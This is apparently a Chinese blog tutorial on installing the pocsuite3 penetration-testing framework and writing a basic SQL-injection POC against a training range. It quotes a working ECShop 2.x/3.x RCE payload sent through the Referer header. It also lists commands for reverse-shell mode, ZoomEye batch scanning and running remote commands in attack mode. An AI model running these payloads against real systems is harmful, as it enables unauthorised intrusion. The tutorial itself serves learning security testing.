【Python安全攻防基础篇:闭包和解释器】
【Python安全攻防基础篇:包、模块、类、对象】
项目地址:https://github.com/knownsec/pocsuite3
曲线救国:https://gitee.com/c0ny10/pocsuite3
我就用我的曲线救国版了,比GitHub快特么100倍!
我用的源码安装
可以pip直接安装,但是装完之后输pocsuite没反应,和项目的readme不太一样我也不知道咋回事。然后pip安的目录又太深了,我嫌麻烦,所以只介绍源码安装,就这样。这段太啰嗦了,缩小了。
# 可以自己找一个心仪的安装目录
# 我选的是~/hack_script/
cd
cd hack_script
git clone https://gitee.com/c0ny10/pocsuite3.git
下载完之后,按理说~/hacker_script下会有个pocsuite3/pocsuite3
的目录。进去:
cd
cd hacker_script/pocsuite3/pocsuite3
然后执行python3 cli.py --version
看看执行结果:
但是这也太麻烦了喂,不能每次执行都进这个目录吧?不会吧不会吧?
反正我是没想到什么牛逼的办法,如果有人有想法,欢迎评论区告诉我。
我用的alias,自己根据自己的系统,搜索“如果持久化alias”应该就可以百度到结果,我这里演示苹果电脑的操作步骤:
# 先ls一下,看看当前目录下是不是有cli.py
c0ny100@MacBook-Air pocsuite3 % ls
__init__.py cli.py data modules pocs thirdparty
api console.py lib plugins shellcodes
# 然后pwd,输出当前文件路径
c0ny100@MacBook-Air pocsuite3 % pwd
/Users/c0ny100/hacker_script/pocsuite3/pocsuite3
然后把这句话打到屏幕上,注意路径替换成自己的
c0ny100@MacBook-Air pocsuite3 % echo alias pocsuite='python3 /Users/c0ny100/hacker_script/pocsuite3/pocsuite3/cli.py' >> .bash_profile
# 更新一下
c0ny100@MacBook-Air pocsuite3 % source .bash_profile
这个时候,你在终端的任何位置输入pocsuite
都会有反应了,不需要进入那个目录下执行python3 cli.py
了。
试一下?
这安是安完了,但是,这安的是个啥啊?用来做啥的啊?咋用啊?我裂开了!
这些都将由我来告诉你!
你安的是框架,简单说框架就是把大部分代码给你写好了的…代码,正常来说,一个python脚本的完整功能至少应该包括输入、处理和输出
,但是不管内部代码逻辑怎样,我输入和输出都是不变的啊,所以这就是框架的作用:
它包含一些基本功能,比如输出结果报告等,你只需要完成主要的代码就能实现完整的功能。
但是,为了很好的对接,或者说,为了框架能够运行我们自己写的代码,我们在写代码的时候就必须遵循框架的格式。
每个框架都是不一样的,但都是大同小异,今天开头安装的pocsuite3就是由知道创宇开发的一款开源渗透测试框架,这个框架有两个功能经常用到:
嗅觉灵敏的老哥可能发现了,这不就是POC/EXP嘛,没错!
POC:用来验证漏洞是否存在的一段代码
EXP:利用漏洞进行渗透
到现在,所有基本概念大家都知晓了,终于可以开始了,想必大家已经摩拳擦掌,跃跃欲试了,别着急,我先甩一段pocsuite的verify模式的命令你看看你能看懂嘛?
pocsuite -r test.py -u http://www.c0ny10.com --verify
不管你懂不懂,我都解释一下好吧。
python3 cli.py
看到这里如果你知道我说的是什么,我就能说你是真牛逼!
所以我决定改变一下思路,先给大家一个总体的概念,然后再细说,这样就知道我在说什么了。不过在此之前,得先把主要的逻辑代码写好。
它的原理就是验证漏洞是否存在,比如你做测试的时候,发现一个站用的宝塔cms,有一个洞,这个时候你就写一个POC,用来验证这个洞,这就POC的意义所在。
等以后遇到同样的cms,你就可以用你写好的POC直接做验证,或者去找同类站点,批量验证。
所以,POC说白了就是根据响应判断是否存在漏洞的这样一段代码,仅此而已。那,废话不多说,找个简单的地方试验一哈。
我本来想去最基础的,Sqli-labs lesson1试试来着,后来找了半天也没发现有谁搭了在线靶场,我自己又懒得搭,所以就只能找其他,skr!
找了一个可以白嫖的靶场,掌控安全的,用来给学员上课用的,我今天就拿来用一下。
项目地址:https://hack.zkaq.cn/battle
咱们就用第一章:为了女神小芳
简单的来说明一下,但是一定的要注意,真正的POC如果这么垃圾,人人都可以写,那就没有那么多脚本小子了,你可以去GitHub上,或者SeeBug上看,那些POC我根本看不懂,一是我Python也是刚刚开始学,二是那些漏洞的逻辑我摸不清。
所以,想通过这一篇文章就能成为大佬还是算了,但我绝对能保证,你跟着写一下,以后用到其他师傅写的POC,你绝对不会犯怵!
进去之后,发现后边一个id,再结合这个只是入门靶场的这个事实,我敢肯定这里存在注入漏洞:
果不其然,最基本的单引号闭合方式:
重点来了,这个有无回显是不是就可以判断漏洞是否存在!?没错这个就是POC的主要逻辑了。
这个时候,我们可以调出当前页面的源码看一看,哪里有区别:
本来应该有的猫舍介绍
这个块,在加了单引号之后不翼而飞,此事必有蹊跷!
因此_verify()方法的代码就应该这样写:(为了日后发到公众号方便阅读,我采用截图的方式)
上边这个就是POC的主要逻辑代码了,接下来就是把这串代码放到框架中去,那就不得不说一下框架的要求。
为什么框架有这么多要求呢?
因为框架嘛,目的就是为了让你只写主要代码即可,不用管输入输出。
这句话的言外之意就是,你想不管输入输出吗?可以,我都帮你写好了,但是你想用,就得按照我的格式来!
这,能理解吗?你想用这个框架,就必须按照人家的规则来,轻则程序无法正确输入输出,重则你发布了POC其他人看不懂。
大家知道,发布POC是有现金奖励的,你不按规矩来就没有钱领了。
这部分就是为下边做个铺垫,不然有的人可以会疑惑,为什么写个代码那么麻烦?废话不多说,开始!
分三步:把冰箱门打开,把大象放进去,把冰箱门关上
首先大家一定要明确,这篇文章不是教大家写POC的,想写得需要你对漏洞和python都比较熟悉,我现在写这个完全算不上一个POC,但也希望大家跟着我一起写。
因为我写之前是阅读了很多GitHub上别人写好的POC源码的,但是看得都不是特别懂。然后我打算找一个最基础的靶场,自己亲手写一个试试,然后我就不得不去阅读了官方的文档,虽然主要逻辑很简单,但通过写这么一个垃圾,我觉得我对这个框架已经基本熟悉了。
至少以后看见别人发的POC我可以看懂,还能会用。所以说,我建议大家跟着写一下。
看到这可能有的人想知道,开发者文档什么都在哪呢?别着急,我会把我看过的参考资料链接全放在底部。
先给大家一个整体的概念,我这个POC都包含哪几个部分:
但是不一定每个POC都是这样的啊,我只把我正在写这个先给大家看看,免得一会懵逼。
下面来说每部分都怎么写:
#! /usr/bin/env python3
# _*_ conding:utf-8 _*_
import sys
sys.path.append('/Users/c0ny100/hacker_script/pocsuite3')
from pocsuite3.api import Output, POCBase, requests, register_poc
如果文件在pocsuite3/的子目录下的话,就不需要sys.path.appen()
这句话。
class Demo(POCBase):
...
vulID = '97343' # ssvid
version = '3.0'
author = ['seebug']
vulDate = '2018-06-14'
createDate = '2018-06-14'
updateDate = '2018-06-14'
references = ['https://github.com/c0ny100'] # 漏洞地址来源
name = 'Ecshop 2.x/3.x Remote Code Execution'# POC名称
appPowerLink = '' # 漏洞厂商的主页地址
appName = 'ECSHOP' # 漏洞应用名称
appVersion = '2.x,3.x'
vulType = 'SQL Injection' # 漏洞类型
desc = '''
大家喜欢的一定要通过点赞、关注、转发,让我知道哦~
''' # 漏洞简要描述
samples = [] # 样例测试 使用POC测试成功的网站
install_requires = ['']
这个字段基本上是写死的,会告诉我们一些信息,如果是以后用大佬的POC,可以忽略这部分。
验证函数:
def _verify(self):
result = {
}
path = '/?id=1'
url = self.url + path
# url = 'http://59.63.200.79:8003/?id=1'
payload = '\''
# 发送一个get请求
# 使用的是requests库里的get方法
try:
resq = requests.get(url + payload)
# 用 '' 做判断
# 使用的是requests库里的text方法
if resq and '' not in resq.text:
result['VerifuInfo'] = {
}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
pass
return self.parse_output(result)
攻击函数,没有就返回_verify()就行了:
def _attack(self):
return self._verify()
打印函数,通过实例化Output这个类来打印,打印出来很好看:
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
注册Demo类
register_poc(DemoPOC)
完整的POC
项目地址:https://gitee.com/c0ny10/some_poc_with_pocsuite3/tree/master/poc
我们执行一下试试效果,我比较命令行模式:
先进入脚本所在的目录,然后执行:
pocsuite -r single_quote_1_inject.py -u http://59.63.200.79:8003 --verify
这就说明漏洞存在。
读POC源码
这就POC的整个编写思路,跟着写完再去看大佬的POC就能看个差不多了,用起来也能得心应手了。如果代码中有看不懂的怎么办?我给大家举个例子:
这里放一段verify函数:
def _verify(self):
result = {
}
path = "user.php?act=login"
url = urljoin(self.url, path)
echashs = [
'554fcae493e564ee0dc75bdf2ebf94ca', # ECShop 2.x hash
'45ea207d7a2b68c49582d2d22adf953a' # ECShop 3.x hash
]
for echash in echashs:
payload = ('{0}ads|a:2:{
{s:3:"num";s:116:"*/ select 1,0x2720756E696F6E202F2A,3,4,5,'
'6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10'
'-- -";s:2:"id";s:10:"\' union /*";}}{0}').format(echash)
headers = {
"Referer": payload}
try:
resp = requests.get(url, headers=headers)
if resp and resp.status_code == 200 and "phpinfo() " in resp.text:
result['VerifyInfo'] = {
}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Referer'] = payload
break
except Exception as ex:
pass
咱们一点点看,假如我现在python语法很烂,什么都不会,我应该怎么百度?
- 首先,最起码前边那几行声明变量应该能看懂吧,就不说了;
- 然后进入循环,这明显是把echashs遍历一遍,然后看到payload那一行,format方法不知道什么意思,去百度!
- 然后到了requests.get()又看不懂,不要紧,百度!
- 然后到了result[‘VerifyInfo’]这里就不明白,之前声明了一个result = {},在这里又新建一个字典,然后存了两个数据,key是URL和Referer,为什么这样写呢?明明直接存到result里就可以啊。
这种问题百度是肯定百度不到了,就去查官方手册!
查看官方文档就看到了,这是存数据的格式:
PoC 结果返回规范
result 为PoC返回的结果数据类型, result返回值要求返回完整的一项, 暂不符合result字段的情况, 放入extra字段中, 此步骤必须尽可能的保证运行者能够根据信息 复现/理解 漏洞, 若果步骤复杂, 在取证信息中说明. 例如:
#返回数据库管理员密码
result['DBInfo']['Password']='xxxxx'
#返回 Webshell 地址
result['ShellInfo']['URL'] = 'xxxxx'
#返回网站管理员用户名
result['AdminInfo']['Username']='xxxxx'
大概就是这样的过程。
如果使用的话,如果POC严格按照要求书写,我们只需要使用-r指定POC文件,-u指定目标地址,就可以使用了。
这就方便之处,有一个统一的标准,读起来也方便,用起来也方便。
简单说一下这个url = urljoin(self.url, path),和result[‘VerifyInfo’] = {},我觉得应该就是在父类POCBase里弄好的,但我就是找不到这个类在哪…
POC常用命令
pocsuite -u http://example.com -r example.py -v 2 # 基础用法 v2开启详细信息
pocsuite -u http://example.com -r example.py -v 2 --shell # shell反连模式,基础用法 v2开启详细信息
pocsuite -r redis.py --dork service:redis --threads 20 # 从zoomeye搜索redis目标批量检测,线程设置为20
pocsuite -u http://example.com --plugins poc_from_pocs,html_report # 加载poc目录下所有poc,并将结果保存为html
pocsuite -f batch.txt --plugins poc_from_pocs,html_report # 从文件中加载目标,并使用poc目录下poc批量扫描
pocsuite -u 10.0.0.0/24 -r example.py --plugins target_from_cidr # 加载CIDR目标
pocsuite -u http://example.com -r ecshop_rce.py --attack --command "whoami" # ecshop poc中实现了自定义命令`command`,可以从外部参数传递。
EXP
别逗了,POC都不会写还想写EXP,笑话!
就记住用法一样的,把--verify
这个参数换成--attack
就完了。
参考链接:
[1] 项目官网
[2] 开发文档
[3] Seebug
[4] 如何自己动手编写漏洞POC
[5] PoC编写指南
[6] some_pocsuite
[7] pocsuite_poc_collect
公众号:白帽子续命指南